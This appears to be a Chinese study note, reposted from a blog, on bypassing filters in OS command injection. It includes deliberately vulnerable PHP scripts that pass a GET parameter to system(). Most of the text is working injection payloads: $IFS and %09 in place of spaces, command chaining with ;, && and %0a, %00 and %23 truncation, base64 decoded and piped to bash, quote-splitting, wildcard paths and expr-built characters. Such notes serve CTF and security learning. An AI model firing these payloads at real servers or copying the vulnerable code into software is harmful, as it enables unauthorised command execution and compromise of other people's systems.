zoukankan      html  css  js  c++  java
  • 命令执行绕过笔记

    https://www.jianshu.com/p/5e505e3d8075

    http://www.4hou.com/reverse/5643.html

    cmd1.php

    <?php
    $cmd=$_GET['cmd'];
    echo "执行的语句:";
    echo $cmd;
    echo "<br>执行结果:";
    system($cmd);
    ?>
    
    
    

    首先随便试试?cmd=ls,正常显示。

    1 空格的过滤

    1.1 $IFS

    ?cmd=cat$IFSkey  
    

    1.2 >或者<>

    ?cmd=cat>key 
    ?cmd=cat<>key  
    

    1.3 %09(php环境下)

    ?cmd=cat%09key     
    

    2 多条命令执行,且有前缀

    有时候会出现这种代码

    cmd2.php

    <?php
    $cmd=$_GET['cmd'];
    echo "执行的语句:";
    $var='curl '.$cmd;
    echo $var;
    echo "<br>执行结果:";
    system($var);
    ?>
    

    可以把它理解为curl在线使用吧。?cmd=www.baidu.com,结果如下图

    直接打ls等系统命令就会出错,因为执行的命令前边始终有个curl。

    2.1 分号;

    ?cmd=www.baidu.com;ls
    值得注意的是ls执行的内容会在网页最下边才能看到。  
    

    2.2 &,&&,|,||

    这几个指令有区别,懒得写了,直接截图  
    

    2.3 换行符%0a(php环境)

    这个怎么个用法呢,先看这条?cmd=%0als  
    发现是可以正常执行ls的,那么curl呢?
    换行符让curl孤单的成为一条语句,ls成为一条孤独的语句,所以就绕过了curl后边加网址的限制。  
    

    3 存在后缀需要消除后边的影响

    cmd3.php

    <?php
    $cmd=$_GET['cmd'];
    echo "执行的语句:";
    $var='curl www.'.$cmd.".com";
    echo $var;
    echo "<br>执行结果:";
    //system($cmd);
    system($var);
    ?>
    
    

    这次把后边也堵上了,所以要用到类似于sql注入中#的截断作用的字符。

    3.1 %00(需要php环境)

    ?cmd=;ls%00  
    正常执行ls,原来命令时ls.com,加入%00后,.com就没了 
    

    3.2 %20%23

    ?cmd=;ls%20%23  
    

    4. 黑名单绕过

    4.1 拼接

    ?cmd=a=c;b=at;c=key;$a$b $c
    

    4.2 base64编码

    ?cmd=ls
    ?cmd=echo "bHM="|base64 -d|bash  
    

    4.3 单双引号

    ?cmd=cat key
    ?cmd=ca""t k''ey  
    

    4.4 反斜杠

    ?cmd=cat key
    ?cmd=ca	 key  
    

    4.5 通配符* ?

    一个?代表一个字符,*代表若干字符。  
    其实早就有通配符绕过英文数字的限制提权了。  
    ?cmd=/bin/cat key
    ?cmd=/???/??? ??? 
    我也不知道他到底执行的什么命令,不过肯定有/bin/cat key这一条 
    内容很多,最好是结合字母  /bi?/ca? ?ey  
    

    4.6 绕过ip中的.,虽然不知道有啥用,先记下来。

    http://www.msxindl.com/tools/ip/ip_num.asp

    4.7没看,顺手抄下来,看win下干嘛。。。

    4.8 无回显,还没看,看到整理下来,顺便也学一下。

    4.9 突破长度限制

    5.构造字符 利用expr

    这个其实是黑名单绕过的,但是我觉得很妙,就把它单独拿出来说了。
    可以从文件中或者环境变量获取某些字符

    可以用export查看一些环境变量,而$pwd这个第一个字符一定是/  
    expr substr $PWD 1 1(输出为)
    export可以查看变量  
    如果过滤了一下字符,可以冲这些变量中拼凑出来  
    

    6.直接截图

  • 相关阅读:
    反射
    接口和抽象类
    套接字通信
    C#的urlencode
    go语言摘记
    c# Httphelper帮助类 简约版
    maven
    读取资源文件里的值---来源practical-aspnetcore项目
    JWT使用---来源practical-aspnetcore项目
    .net core国际化
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/10288162.html
Copyright © 2011-2022 走看看